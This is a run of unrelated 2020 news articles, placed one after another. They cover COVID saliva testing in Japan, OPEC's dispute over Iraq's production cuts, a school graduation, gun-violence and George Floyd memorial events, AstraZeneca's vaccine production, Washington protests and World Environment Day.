The test is hoped to expose medical technicians carrying out the tests to less risk of infection as those being tested only need to provide a sample of their saliva to be tested.

The current PCR tests, require the swabbing of the back of a patients nose, the irritation and discomfort of which can cause a patient to sneeze or cough, raising the chances of infecting the medical professional administering the test.

Those administering the saliva tests do not need to be wearing the same amount of personal protective equipment (PPE), such as gowns and googles required by those carrying out the standard tests.

A lack of PPE available for medical professionals to carry out PCR tests has been cited as one of the main reasons for a lack of expansion of testing in Japan.

Japan has been accused of not carrying out enough PCR tests as compared to other countries, raising concerns about the accuracy of the health ministry's and local authorities' figures for those who have contracted the virus.

Kato said the tests using saliva will significantly reduce the burden on medical institutions as the tests will be available at outpatient departments at designated hospitals and PCR testing centers.

The tests, the ministry said, will also be used for patients and staff with coronavirus symptoms at medical institutions, in a bid to lessen the occurrences of in-hospital infections. Enditem
A teenager was killed, and two others were seriously injured when a BMW split in half during a crash Friday morning in west Harris County.

The 16-year-old BMW driver was southbound on Texas Highway 6 near Loch Katrine Lane around 2:30 a.m. when the 47-year-old driver of a white Hummer pulled into the roadway, according to the Harris County Sheriffs Office. The two vehicles slammed into each other, which sent the BMW careening into a light pole.
OPEC is in negotiations with its members to find the best way forward, but talks appear to have stalled over one laggard, Iraq, which has failed to live up to its agreement under the cartels production cut deal. Does this give OPEC cover for meeting delays and overall noncompliance, or is it a sincere effort to get it onboard?

Whether Iraq can be brought in line and fully comply with its share of the OPEC deal is certainly doubtful. Yet interestingly enough, OPEC and Russia have staked the extension of the dealy past June, when the current level of cuts expire and cuts begin to ease, entirely on whether all laggard members bring production down to agreed-upon levels.

Either OPEC and Russia are certain they can get Iraq to bring its production down to its quota, or they are content to have the cartels production above normal.

Russia and Saudi Arabia both agreed that the current level of production cuts should be extended at least one more month. The caveat? That all other countries implement their established quotas in full.

Thats a pretty big ask, and if history repeats itself, its impossible. What this means for oil prices is that there would be no extension, inventories wont draw down as quickly, and oil prices will remain depressed along with demand for crude--which although it is picking back up thanks to lockdowns being lifted, is still about 20 million barrel per day under what it was before the pandemic.

Iraq isnt the only laggard, to be fair. Nigeria, Angola, and Kazakhstan are also not keeping up their end of the bargain. The cartel went to work trying to get the three, and Iraq, to recommit to the cuts, and with the exception of Iraq, all three gave the requisite assurances. Related: Are Investors Ignoring The Largest Financial Risk Ever?

Of course, that doesnt mean they will necessarily do so, but its at least a start.

Iraq, however, has not committed to bringing its production down to the quota in June.

OPECs compliance for May is thought to be about 89%. This isnt terrible considering the volume of how much is being cut. Still, compliant Saudi Arabia is declaring its unwillingness to continue its share of the cuts for another month unless the laggards get their act together. Laggards that include Iraq, whose compliance reached only about 42% in May.

OPEC wont even have the meeting this week unless Iraq agrees to improve its compliance.

Is it all just a ploy to manage market expectations in the run up to the meeting to ensure that whatever agreement is hatched is looked upon favorably, therefore maximizing the price impact? Is it a strategy to get out of extending the deal, perhaps as discussed with U.S. President Donald Trump? Is it designed to put maximum pressure on Iraq to comply?

Chances are, well never know. But one thing is for certain: Iraq will not comply with the deal--period.

In fact, it said as much. Iraq said it would fully implement cuts by the end of July-in their promise-to-fulfill-later kind of way that they have done in the past.

Iraq the Laggard

For the most part, when it comes to chronic noncompliance, we are talking about the usual suspects of Iraq and Nigeria. But Iraq is so much bigger.

Both countries have unique challenges when it comes to sticking to any production cut deal that OPEC or OPEC+ could ever hatch. For Iraq, it is their reliance on international oil companies, most of which operate in the semi-autonomous Kurdistan region. So on one hand, Iraq doesnt want to bite the hand that feeds it--big foreign oil companies--and on the other, Iraq has a tough time trying to regulate what goes on in the Kurdistan region. This is not even to mention the rocky political climate in Iraq. Related: Can Yemens Oil Industry Make A Comeback?

For Nigeria, its the fact that it has a strong reliance on its oil revenues. Most OPEC nations rely on oil revenue for a substantial part of the revenue. But for Nigeria, shutting down oil production and forgoing the revenue associated with that oil production is tough. Yet Nigeria has agreed, although its May compliance was still not up to snuff.

OPECs Other Problem

Is OPEC really worried about the extra barrels Iraq is pumping? After all, Saudi Arabia has overachieved its own quota for well over a year while the laggards basked in their overproduction. Most signs point to legitimate worry. Saudi Arabia has declined to publish its July OSP for July until after the meeting. The Kingdom is also raising its customs duties on hundreds of products to generate more non-oil revenue. In a similar vein, its tripling its VAT and suspending its cost of living allowances. These are worrisome signs.

Whats most concerning in the market, however, is the notion that the OPEC deal could fall apart entirely.

The previous deal catastrophe is all too fresh in our minds after Russia and Saudi Arabia--the two heavyweights in the deal--failed to reach an agreement over the cuts. The deal failure triggered a price war between the two, plunging the world into a glut of oil and sending prices spiraling as demand fell in the wake of the pandemic.

By Julianne Geiger for Oilprice.com

More Top Reads From Oilprice.com:
The College Hill high school class of 2020 included students with intellectual curiosity, the strength to take a decision and make it a reality and the potential to become a friendly neighborhood superhero.

With a beaming smile, Principal Eric Wright read close to 50 personalized messages about his newest Wolverine alumni on Thursday evening at the Corvallis alternative schools drive-up graduation ceremony.

Ive been so proud of the character and determination, Wright said of his students in a phone call with the Gazette-Times. I think they listen, I think they are kind, I think they are generous and I think they want to hear one anothers stories and they want to share their own story. Its easy to look right now and think, Where are we going, this is not going well. But these graduates  give me hope.

He and his staff wanted to creatively celebrate each of their graduates despite pandemic concerns. So they arranged to have a mini parade of cars, led by Corvallis police, escorting each graduate from The Church of Jesus Christ of Latter-Day Saints on Harrison Boulevard to the Harding Center on 31st Street.

Numerous College Hill faculty and staff set up a staging area in the churchs parking lot for students and family members to get ready. They provided balloons and streamers, affixing them to vehicles, and wrote the first names of graduates in paint on the windshields

Bryant Poot-Romero, decked out in black and gold regalia, posed for pictures with family outside of their SUV.

Im really looking forward to honestly just handing that diploma over to my parents, he said on the phone Wednesday. Its been kind of a bumpy road  and I wasnt sure if I could give them that pleasure.

Poot-Romero said he plans on going to Linn-Benton Community College to continue his studies, and hopes to one day become a dual-immersion teacher. Spanish was his first language and he said his teachers at College Hill inspired him to take after them.

When he was enrolled at CHS, he did bare-minimum work. I would only do work in school. I would never do homework. My grades were actually really bad and thats what got me into College Hill. If I would have stayed at CHS, I honestly dont think I would have graduated.

Then, in the second semester of his sophomore year, he started his journey at College Hill, where he ended up averaging all As and Bs.

It was obviously new to me. It takes time and patience to get adapted to it, he said. But at College Hill, you learn at your own pace, you work at your own pace  your progress literally depends on you.

Konstantine Birulin, a guidance counselor, said he was overcome with excitement and pride while he helped the students prepare for the unorthodox ceremony.

Its better than nothing, Birulin said. Its not quite what we normally do, but its good to see everybody come together. Theyve overcome so many challenges. Its awesome.

The parade paused at one side of the schools bus loop and students took turns exiting their vehicles. One at a time, they collected their diplomas and had a photo op, then hopped back in their cars on the other side. Cupcakes and Coca-Colas were a sweet bonus too.

Wright also took the time to recognize two College Hill staff who will retire at the end of the school year: office manager Kathee Kunke and educational assistant Debbie Zuidema. Beloved lunch lady Debra Parker was also in attendance; she retired when the schools shut down due to the coronavirus outbreak.

Graduate Allison Jackson attended Crescent Valley High School, but transferred to College Hill in November. The timing, and especially the pandemic, meant this school year took a lot of work, she said, but now she can finally move forward.

Everything is kind of just off due to the coronavirus this year, Jackson said on the phone Wednesday. But Im just excited to go to college.

She wants to further her education, starting at LBCC and later pursuing a career in physical therapy.

I just love that, the idea of being able to help people and get them back on their feet, she said.

Fellow Wolverine Francisco Esparza said hes happy to be done too. After transferring from CHS his junior year, he said he had a hard time adjusting and staying on task.

I was talking to my mom the other day, he said, (and) if this corona thing didnt happen I probably wouldnt have graduated on time.

Now he said hes one of the first people in his circle to graduate from high school. Esparza told the Gazette-Times on Wednesday that he plans on attending Western Oregon University, playing football for them and studying criminal justice.

Im ready to  keep on working, keep on grinding (and) build something with my life.

Wright said the world has been a difficult and scary place recently. But he left his students Thursday with inspiration from English writer G. K. Chesterton:

And when it rains on your parade, look up rather than down. Without the rain, there would be no rainbow.

Reporter Nia Tariq can be reached at nia.tariq@lee.net.

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This weekend you might see orange rocks and shells in various places around towns across Connecticut. Bend down and look closely  see a message written atop the orange. Pick up the rock or shell, hold it, and think for a moment about the message.

Honor with action. Not one more. End gun violence. 12-14-12, below a broken heart. Disarm hate.

In front of the Molten Java coffee shop in downtown Bethel, on Friday Jenn Lawlor will gently place an orange-painted rock bearing the name Emily Todd. Emily is Jenns daughter who was 25-years-old when she was brutally shot to death on a cold night in Bridgeport, Dec. 8, 2018.

One more life ended too soon, one more mother and family who will always grieve. One more cry for justice among the thousands and thousands in our country.

The rocks and shells represent a tangible way to observe Wear Orange day, June 5, after the pandemic disrupted plans for the usual rallies in Connecticut and most states. The observance continues through the weekend and this year reverberates with the multitudes of protests over the death of George Floyd at the knee of a Minneapolis police officer on Memorial Day. That officer has since been fired and charged with second-degree murder.

Just as one needless death has become emblematic of police brutality, one needless death led to the Wear Orange movement. We must know the origins to understand the depth of meaning.

Hadiya Pendleton was 15 when she was shot to death in Chicago on Jan. 29, 2013. Little more than a week earlier, she performed in the inaugural parade for the second term of President Barack Obama. One can imagine the pride the young black girl, an honors student, must have felt as a majorette in her high school band marching in that parade.

All her potential was extinguished when, in a park with friends, she was caught in the crossfire of gang warfare. An innocent victim. Her killer was punished, finally last year, with an 84-year prison sentence.

After her death, Hadiyas friends wore orange  a color to be seen.

Now Wear Orange day, National Gun Violence Awareness Day, is the first Friday in June, close to Hadiyas June 2 birth date. It is promoted by Everytown for Gun Safety, a national nonprofit organization, and supported by similar groups such as Sandy Hook Promise in Newtown, Newtown Action Alliance and Newtown Junior Action Alliance, which is comprised mainly of high school students, and Moms Demand Actions Connecticut chapter.

Wear orange to raise awareness of our nation's gun violence crisis, which reflects and intensifies long-standing racial inequities in America, the Wear Orange website states. Black Americans are 10x more likely to die by homicide than white Americans.

I remember reading seven years ago about Hadiyas death. It pierced through the numbness we all felt over the shooting deaths of six educators and 20 first-graders at Sandy Hook Elementary School the previous month. Surely some common sense legislation aimed at preventing  or at least reducing  gun violence would follow. And it did in Connecticut and New York, but not at the federal level. Not then, not yet.

Police reform was supposed to happen after police shot and killed Michael Brown Jr., a black teen, in Ferguson, Mo., six years ago. There were protests, there were speeches. Training was increased and police started to wear body cameras (though to this day not all departments in Connecticut have them). And yet police brutality continues, not just in the middle of the country, but also here in Connecticut, disproportionately to people of color.

Divisions over the days and nights of protests lay bare the underlying centuries-old racism. Is it any wonder people are frustrated?

This isnt a they problem  its us  and will require serious and sincere dialogue.

No justice, no peace

The accused killer of Emily Todd is black. Emily was white. Her mother said his color is immaterial. It factored in her death as little as, say, his height.

He was pathological, Jenn told me in a phone conversation this week. You have to be disturbed to do what he did.

Unlike Hadiya, Emily knew the man accused of killing her. They dated a few times. She broke it off. He called her and threatened suicide; he had a gun, she told Bridgeport police when she called them, he lived in that area, and pleaded with them to intercede. She was on the phone for more than an hour, her mother said; police located him in a car but had to cut off a high-speed chase for safety reasons. The incident wasnt picked up by the next shift.

Instead, a week later when Emily met him for a coffee in Bridgeport, one last time he begged, he shot her in the back of the head and stole her debit card and car, police said. The April court date for the judge to decide on a possible plea agreement was postponed twice because of the pandemic; now its scheduled for July 8.

Like so many survivors of violence, Jenn wants justice.

Emily will be honored through other lives saved, her mother prays.

She understands the anger and frustration seething in the protests of George Floyds death.

No justice, no peace  nothing has changed, she said. A great part of America saw a man die at a police officers knee. It needs to be a tipping point.

May that be so. It cannot be ignored or brushed aside.

Some get involved in movements when tragedy touches them. Jenn, a social worker, joined the northern Fairfield Country chapter of Moms Demand Action after Sandy Hook. The mission would become even more personal after Emilys death. Now she is an advocate, called a fellow, with Everytown for Gun Safety, one of five in the state.

Friday afternoon Jenn and family members will draw a large peace sign on the front lawn of Molten Java and will place the orange rocks within it. In Ridgefield, Everytown members who painted clam shells with messages will place them along Main Street.

On Sunday, people can take a rock from the peace sign and then place it anywhere, such as along a path, for others to find.

Orange, the color to be seen  and heard. Rock by rock, shell by shell, the seeds of understanding are scattered.

Jacqueline Smiths column appears Fridays in Hearst Connecticut daily newspapers. She is also the editorial page editor of The News-Times in Danbury and The Norwalk Hour. Email her at jsmith@hearstmediact.com.
MILFORD  A heartbeat coming from a loudspeaker drowned out the noise of traffic around the Milford Green when 16 members of the clergy and 100-plus prayer-service attendees chose to lie prone, kneel or stand for the final eight minutes and 46 seconds.

The action took place as the Unified Prayer Gathering held by the Milford Clergy Association Thursday recognized the amount of time authorities say a police office kept his knee on George Floyds neck.

As we end this prayer gathering today, we want you to be a part of our prayer for the nation, said Pastor Alfred D. Watt from the Cornerstone Christian Center.

All news reports confirm that George Floyd laid on the ground for eight minutes and 46 seconds, being tortured and being in anguish, as a police officer held his knee upon his neck and his heart slowly stopped beating and his life ended.

But Watt said he does not believe that it is Gods desire that the number 846 be etched in minds in association with racism, hatred, helplessness, and hopelessness.

Rather, that when you think of 846, we want you to be reminded of the power that God has given you during trials like these, Watt said.

Floyd, 46, was killed May 25 by a Minneapolis police officer.

Watt was the last of seven clergy to speak Thursday at the 50-minute ceremony.

The Rev. Michael Bulkley, senior associate pastor at the Kingdom Life Christian Church, who spoke first, said the purpose Thursday was simple.

Our country is broken. When something is broken and needs fixing you must start someplace, Bulkley said. This afternoon is not a protest, they are necessary, but equally necessary is that churches stand together in prayer, unity, and love.

We represent churches from diverse backgrounds, culturally, theologically, generationally, he said. But we are bound together by the recognition that we must stand against injustice, we must pray for peace, and we must love as Christ loved.

The Clergy Association had met with the Milford Health Department Tuesday to talk about the reopening of churches. Members stuck around afterward to talk. They came away with the decision to hold a prayer meeting.

The genesis was all of us agreed that we had to do something, Bulkley said. We believe unified prayer is part of the healing. Our churches are from every theological perspective. The thing that binds our hearts together is that we recognize that injustice. Martin Luther King Jr. said that injustice anywhere is injustice for all. That is our purpose here.

Toward that end, there wasnt a mass announcement.

We waited until Wednesday night to tell each congregation because we didnt want to risk outside agitation, Bulkley said. The enemy is hatred and misunderstanding. Today is about unity and prayer.

Earl Dancy and Melissa Dancy learned about the gathering following Wednesday service at Kingdom Life.

Im 59 years old, I was born in Missouri and I think people in New England area have a different experience as it relates to race relations, said Earl Dancy, who noted he had the personal experience of having a police officer officer unholster his gun during an incident in Danbury.

My mother walked during the bus boycotts when she was pregnant, Earl Dandy said. It is a little more personal to me, but what weve found is that through all the years of frustration of us not being able to see eye-to-eye and hearing each others experiences and perspectives, that in this difficult time there is a new opportunity for people to have a conversation that allows for understanding.

The Dancys met while attending the University of Connecticut 40 years ago.

We are Milford residents, and I was brought up in Norwalk, Melissa Dancy said. I think this gathering is wonderful, I think it is a good thing. Weve been experiencing issues all our lives. Before all this started (protests, solidarity, prayer gatherings), we thought Here we go again, and that nothing is going to happen, that there is going to be no change.

Now we are hopeful and that it wont end here, she said. We have two adult children and a male son, and a male grandchild, so, I want better for all of them.

Earl Dancy said: People must understand both sides of the equation. The first house we bought was in Bridgeport. We bought it from a retiring police officer who was completing his 20 years, he was selling, and he was going to move. The last six months he was on the force he was hospitalized three times from being on the job.

Breaking down walls

The Rev. Matt Lindeman, of St. Peters Episcopal Church, spoke about unity between churches and congregants of all colors, creeds, and backgrounds.

People are imperfect. The Holy Spirit has the way of taking imperfect people and calling them in to do things greater than they could ask for or imagine, Lindeman said. It is in that spirit that we unite today as imperfect people, as representatives of Gods incredible human family

In his prayer, Lineman said: Take away the arrogance and hatred, which infects our hearts. Break down the walls that separate us, unite us in bonds of love to work through our struggle and confusion to accomplish your purposes on earth.

Milford Mayor Ben Blake said said he appreciates the clergy association bringing those present together praying for hope, praying for peace as we work toward social justice. The video that everyone saw, and what happened to George Floyd was horrific.

It was a real tragedy and reminded us of the hurt and pain, Blake said. His death shook institutes in government. For me, my job as a public official is to work with all our public employees, and their job is to serve the entire community. It is everyones responsibility to stand up against racism. It is everyones responsibility to stand up and bring change and guarantee social justice.

Pastor Curran Bishop of Christ Presbyterian Church, was asked to pray for leaders, influencers and those in authority.

Father, we want to lift our politicians and political leaders because you tell us to pray for them, Curran prayed. You tell us that they need our prayers enable to lead us in justice. God, to be your servant for our good, they (those in authority) need your guidance, your mercy, your empowering.

The Rev. Horace A. Hough from the First Baptist Church was asked to talk about for the Floyd family, as they laid George Floyd to rest and peace in the observances to follow. Hough added healing prayers for Breonna Taylor, 26, who was killed last March during a Louisville police raid of her Kentucky apartment, and Ahmaud Arbery, who was killed by two white men in February while jogging in Georgia.

As we come to you today, understanding that the injustice that has happened and has allowed these families to suffer a loss that they could never have imagined, Hough said.

We ask that you be with them even in these times, wrap them your love, wrap them in your peace that passes all understanding, wrap them in your comfort so that when the tears run down their face and they dont know what to do and nobody else knows what to say, well we ask that you be right there by their side ... knowing you can speak to their heart.

Hough added: Lord for those like the Floyd family, the Taylor family and the Arbery family, who have offered up their grief to the entire world so that can scream from the rooftops  I, too, am American and that others can scream that they, too, are American.

The Rev. Carleton Giles of United Presbyterian Church addressed eradication of racism and police brutality.

We hold up today women and men who are in positions of authority and we intercede for those in Law enforcement everywhere, some who have joined us this afternoon, Giles said. Men and women that have committed themselves to serving you by serving others.

Giles prayed: Our world, our society has become rife with racist tendencies that are not like you. We have perverted your vision for what we should be. It seems we dont want to be together. We want to be separate. We dont want to work together; we want to work apart from each other. It seems that we have become a society and culture of them versus us. We pray God for forgiveness and reconciliation.

We come to you to eradicate racism in all its ugly forms and most especially in our public servants who have dedicated themselves to protect and serve, Giles prayed. Keep them safe from all hurt, harm and danger. Fix their minds on things above, as they do this work to which they are assigned. Have them be resolute on whatever is true, whatever is noble, whatever is right, because these virtues are admirable.

Milford Police Chief Keith Mello and six officers attended the service.

This is what Milford is about, Mello said. Im not talking only about the people that live in Milford, Im talking about the people that come from outside of Milford and take it to heart. We were proud and happy to be invited. This was an expression of understanding, compassion and love.

The Rev. Karl Duetzmann, with the United Church of Christ in Devon, spoke of healing for the brokenhearted and for the broken land.

My task is to pray for our nation, Duetzmann said. Help us to put aside our feelings, jumbled, confused and angry as they may be at this time. Help us to remember your high calling to us to be agents of forgiveness and reconciliation, love and peace, healing and hope, in a world that is darkened by fear, hatred and brokenness.

In his closing, Pastor Alfred D. Watt said: My prayer is this  that you will leave here today knowing that as a people of God and at a time when most of this nation is lamenting over the death of a man who seems as though he lost his life beneath the authority and the weight of hatred and racism, I want to remind you that the Lord says that the people of God have the authority to bring healing, peace, love and reconciliation to our land.

God has given us those keys, and I want to use those keys today so for the next eight minutes and 46 seconds that we are together I want to give you an opportunity to pray in silence, not just in recognition of George Floyds life and the heartbeat that ended in his life but also in recognition of the power that God has given us to bring forth peace, love and reconciliation.

As you hear a heartbeat behind the silence of our prayers, let it not only be reminding you of George Floyds heartbeat that at one point stopped, but of Gods heartbeat that is weeping and waiting for us to bind to heaven love, peace, reconciliation, and his power.

May the peace of God guide you as you go from here.

Clergy and churches included Kingdom Life Christian Church: Pastors Michael Bulkley, Marco Palumbo and David Thomas, ministers Brandon Kellum and Lee Avellanet; St. Peters Episcopal Church: Rev. Matt Lindeman; United Presbyterian Church: Rev. Carleton Giles; First Baptist Church: Rev. Horace A. Hough; Trinity Lutheran Church: Rev. Chris Files; Woodmont United Church of Christ: Rev. Kimball Cartwright; Christ Presbyterian Church: Pastor Curran Bishop; United Church of Christ of Devon: Rev. Karl Duetzmann; First United Church of Christ: Pastors Rev. Adam E. Eckhart and Ashley Grant; and Cornerstone Christian Center: Pastors Alfred Watt and Todd Foster.

william.bloxsom@hearstmediact.com; Twitter: @blox354
A British pharmaceutical giant is already manufacturing an unproven coronavirus vaccine as it hopes to dish out hundreds of millions of doses by September.

AstraZeneca has started to mass-produce the experimental AZD1222 jab, developed by Oxford University, at factories in India, Oxford, Switzerland and Norway.

The Cambridge-based firm expects to have distributed hundreds of millions of doses of the vaccine this year and at least 2billion by mid-2021.

It has signed deals to produce 400million doses for the US and 100million for the UK if it is successful in human trials. Results are expected in August.

Britain has agreed to pay for the doses 'as early as possible' - with ministers hoping for a third of those to be ready for September if proven effective.

Following an initial phase of testing on 160 healthy volunteers between 18 and 55, the study of AZD1222 has moved to phases two and three.

It will involve increasing the testing to up to 10,260 people and expanding the age range of volunteers to include children and the elderly.

AstraZeneca's chief executive, Pascal Soriot, said he believes there will be 'several' Covid vaccines ready for mass-use this year

Pascal Soriot, chief executive of AstraZeneca, told BBC Radio 4's Today programme: 'We are starting to manufacture this vaccine right now. And we have to have it ready to be used by the time we have the results.

'Of course, with this decision comes a risk but it is a financial risk and that financial risk is that if the vaccine doesn't work.

'We will find this out at the end of August, then all the materials, all the vaccines we have manufactured will be wasted.'

WHAT IS THE OXFORD VACCINE? The vaccine is called AZD1222 and is made from a weakened version of a common cold virus (adenovirus) from chimpanzees that has been genetically changed so it is impossible for it to grow in humans. The intellectual rights to its vaccine are owned by the University of Oxford and a spin-out company called Vaccitech. Clinical teams at the Oxford University's Jenner Institute and Oxford Vaccine Group began developing the vaccine in January. It's a type of immunisation known as a recombinant viral vector vaccine. Researchers place genetic material from the coronavirus into another virus thats been modified. They will then inject the virus into a human, hoping to produce an immune response against SARS-CoV-2. This virus, weakened by genetic engineering, is a type of virus called an adenovirus, the same as those which cause common colds, that has been taken from chimpanzees. If the vaccines can successfully mimic the spikes inside a person's bloodstream, and stimulate the immune system to create special antibodies to attack it, this could train the body to destroy the real coronavirus if they get infected with it in future. It was developed so rapidly by Sarah Gilbert, a professor of vaccinology, and her team because they already had a base vaccine for similar coronaviruses. The team have gone through stages of vaccine development that usually take five years in just four months. However, Professor Gilbert said that none of the normal safety steps had been missed out. Advertisement

He said AstraZeneca would make no profit from the supply of the vaccine, adding: 'We felt that there are times in life that corporations need to step up and contribute to resolving a big problem like this one, so decided to do it at no profit.'

However this will only last until the World Health Organization (WHO) officially brings the crisis down from the level of 'global pandemic'.

Estimates suggests the world will need around 4.5billion vaccine doses to put an end to the pandemic.

The virus is so hard to track and spreads so easily that experts believe it will continue to spread through the human population indefinitely, if a vaccine cannot be found.

AstraZeneca announced a deal last week with Oxford BioMedica to manufacture the Covid vaccine at its manufacturing centre in Oxford.

AstraZeneca will have access to the company's 84,000-square-foot factory and will turn out most of the clinical and commercial supply of the vaccine this year.

Mr Soriot also announced a licensing deal with the Serum Institute of India to provide 1billion doses of the vaccine to low- and middle-income countries by 2021. The goal will be to manufacture 400 million doses in its factory by the end of 2020.

And today AstraZeneca signed a deal with the Coalition for Epidemic Preparedness Innovations (Cepi) in Norway and Gavi, the Vaccine Alliance, in Switzerland.

The companies will help manufacture 300million globally accessible doses of the coronavirus vaccine this year.

But a leading member of the Oxford University trial of AZD1222 has warned the study has only a 50 per cent chance of being successfully completed.

Lower transmission of the coronavirus in the community means it will be harder for trial participants to catch the virus, and for scientists to see if the vaccine is protective.

Oxford University's Jenner Institute and the Oxford Vaccine Group began development on a vaccine in January, using a virus taken from chimpanzees.

Professor Adrian Hill, director of Oxford University's Jenner Institute, said he expected fewer than 50 of those to catch the virus. The results could be deemed useless if fewer than 20 test positive.

'We said earlier in the year that there was an 80 per cent chance of developing an effective vaccine by September,' he told The Sunday Telegraph.

'But at the moment, there's a 50 per cent chance that we get no result at all.

'We're in the bizarre position of wanting Covid to stay, at least for a little while. But cases are declining.'

If SARS-CoV-2, the virus that causes the disease COVID-19, is not spreading in the community, volunteers will find it difficult to catch, meaning scientists can't prove whether the vaccine actually makes any difference.
WASHINGTON - For 8 minutes and 47 seconds in the sweltering heat of a Washington summer day, hundreds of people knelt on the pavement around the Martin Luther King Jr. Memorial. They bowed their heads in silence. They marked the amount of time that George Floyd spent with a Minneapolis police officer's knee on his neck.

Seven days after protesters first descended on the nation's capital for moments like this, the uprising of the angry, exhausted and fed up showed Thursday that it was far from finished. Protesters held a "die-in" at the White House and a march to Washington National Cathedral. They ignored warnings of incoming severe thunderstorms and accepted the risk of coronavirus infection in crowds. They carried hand sanitizer and tightly gripped the hands of their children.

"People are listening," said Ciyanne Zewdie, an 18-year-old high school student returning to the protest for a second day. "It's like there's been a knife stabbed in our back. It's only been moved three millimeters. It's going to take a long time to be out all the way."

The demonstrations have evolved drastically since Monday, when a peaceful assembly near the White House was disrupted by an aggressive law enforcement response, followed by more than 200 arrests and a significant amount of looting. On Thursday, the streets surrounding the White House were an orderly ecosystem with a predictable routine and a block-party atmosphere.

Hundreds of protesters began to crowd peaceably by the high fences barring the way to Lafayette Square around 4 p.m. On cue, medics started setting up first-aid stations beneath trees and under the awnings of buildings, ready to receive patients in the relief-giving shade. Dozens of snack stations sprouted as the sun burned down on bare shoulders, some tables sheltered with tarpaulin tents, some stacked with voter registration forms, all offering water. A man unpacked a full drum set, blue and sparkling, and began playing for the assembled masses.

Along the street, someone had set out makeshift trash cans made from cardboard boxes and labeled "TRASH" and its Spanish equivalent, "BASURA," in black Sharpie.

For the first time since the protests began, Wednesday's demonstrations ended with no arrests and no police injuries or damage to police property, prompting District of Columbia Mayor Muriel Bowser, a Democrat, to eliminate the curfew Thursday.

"Moving forward over the next couple of days, we expect more of the same," District Police Chief Peter Newsham said Thursday.

While pleased with the continued peace, Bowser and Newsham expressed their opposition to the heavy presence of federal law enforcement around the city, blocking off huge swaths of downtown and access to many monuments. National Guard units from around the country have been deployed to the District, along with agents from the FBI, Drug Enforcement Administration, U.S. Marshals Service and the Federal Bureau of Prisons. Attorney General William Barr is orchestrating the federal law enforcement activity from a command center in Chinatown.

"We want troops from out of state out of Washington, D.C.," Bowser said. "I'm also concerned that some of the hardening that they're doing may be not temporary."

On Wednesday, federal officials expanded the perimeter around the White House to include half a city block north of Lafayette Square. By Thursday, after demands from the mayor and city officials, they had retreated back to the square, behind the tall chain-link fence erected there this week.

Within the park, small huddles of law enforcement personnel conferred in clumps but had not formed a line as 5 p.m. drew near. They stayed well back from the fencing, a marked contrast from the day before, when protesters had spent much of the day face-to-face with members of the National Guard equipped with shields and batons.

Although the crowds that gathered Thursday were smaller than on most recent days, first-time protesters were still turning out.

Jillian Ross, a 26-year-old Howard University medical student, well understood the risk of contracting coronavirus in a crowd. But she said she was also acutely aware that when her forebears stood up for their rights half a century ago they also faced immediate dangers: overtly racist elected officials, fire hoses and vicious dogs of the kind President Trump has so far only threatened to use.

For that reason, Ross said, "it was an easy decision to come out here."

Tuesday Cook Headley, 43, a Maryland surgeon, brought her 7-year-old daughter with her to witness the protest and let her know that she needs to be a part of bringing about change in the country.

Cook Headley said her daughter had been stuck at home for nearly three months because of the pandemic.

"We've kept her safe, but this is injustice that calls us out. We want to stay in to stay safe, but we're not safe when innocent black men and women are murdered in the street or in their home," she said. "The anger and frustration of more than 400 years of injustice to black people in this country has become too much. It's been too much."

"And we're not standing for this anymore!" her daughter interjected.

"That's right!" her mother said with a laugh behind her mask.

Long days of repeated marches and chants seemed only to invigorate many demonstrators, who after months of virus-induced separation and isolation reveled in the chance to come together. Organizers were already spreading the word about multiple demonstrations planned for Saturday that are likely to attract visitors from beyond the District region. And during a memorial service Thursday for George Floyd, the Rev. Al Sharpton announced plans for an Aug. 28 demonstration in the nation's capital on the 57th anniversary of the March on Washington.

"That's where your father stood in the shadows of the Lincoln Memorial and said, 'I have a dream,' " Sharpton said, pointing to Martin Luther King III in the audience. "Well, we going back this August 28 to restore and recommit that dream to stand up, because just like in one era we had to fight slavery, another era we had to fight Jim Crow, another era we dealt with voting rights, this is the era to deal with policing and criminal justice. We need to go back to Washington and stand up - black, white, Latino, Arab - in the shadows of Lincoln and tell them, 'This is the time to stop this.' "

Though Floyd's name was the most-repeated each day, protesters such as Emma Mann hoped to educate those around her about all the others like him whose names never made the headlines or quickly disappeared from notice.

On Thursday morning, the 34-year-old from Arlington, Virginia, had sat at her computer and begun to print pictures of black women killed by police. She'd intended to print only a few but grew overwhelmed as she worked - and the poster she held above her head Thursday was crammed with photos of 19 women, some of whose deaths garnered national attention, some whom very few mourned.

In the upper right corner were four pictures of Mann's cousin. Gynnya McMillen, 16, died in a juvenile detention facility in Kentucky.

"What happened to her?" asked a man walking by, pointing to a face in the middle of the poster.

"She was responding to a 911 call," Mann said, "and police thought she was the aggressor."

The man moved on, shaking his head, but Mann stayed. It was her first day out protesting in the District. She was prepared to stay all day.

- - -

The Washington Post's Teddy Amenabar, Joe Heim, Marissa Lang, Fenit Nirappil, Patricia Sullivan, Rebecca Tan and Julie Zauzmer contributed to this report.
Indian poet and diplomat Abhay K, who penned an anthem for planet Earth has been invited by the Indira Gandhi National Centre for Arts to deliver a lecture on 'Protecting Environment through Poetry' on the occasion of the World Environment Day.

Earth Anthem, which was launched on the occasion of the World Environment Day in 2013, has been translated into over fifty languages. The anthem is used widely to celebrate World Environment Day and Earth Day.

Recently, the United Nations celebrated the fiftieth anniversary of Earth Day with Earth Anthem and used it for teaching Global Citizenship. The music has been composed by Dr L Subramaniam and sung by Kavita Krishnamurthy.

READ | On World Environment Day 2020, Forest Minister Javadekar Has A Task For Indians To Take Up

PM Modi extends greetings on World Environment Day

On the occasion of World Environment Day, Prime Minister Narendra Modi extended his greetings to people and reiterated his pledge to preserve the rich biodiversity of our planet. Sharing a message from an earlier Mann Ki Baat address, PM Modi acknowledged that the nationwide lockdown has helped in reviving animals and birds that were earlier hard to sight.

The Prime Minister encouraged people to renew their bond with nature by planting trees, saving water, and looking after animals and birds.

Let us collectively do whatever possible to ensure the flora and fauna with whom we share the Earth thrive. May we leave an even better planet for the coming generations, he said on Twitter.

READ | What Is Theme Of World Environment Day 2020? Read To Know Details

READ | CRPF To Turn 'Waterheroes' On World Environment Day, Plant 22L Saplings Across The Country

'Celebrating biodiversity'

The theme for World Environment Day 2020 is 'celebrating biodiversity' -- a concern that is both urgent and existential. According to the United Nation organization, the theme was selected due to the "Recent events, from bushfires in Brazil, the United States, and Australia to locust infestations across East Africa - and now, a global disease pandemic - demonstrate the interdependence of humans and the webs of life, in which they exist."

The theme is being hosted by Colombia in partnership with Germany. Colombia holds 10 percent of the planet's biodiversity. As part of the Amazon rain forest, Colombia ranks first in bird and orchid species diversity and second in plants, butterflies, freshwater fish, and amphibians.

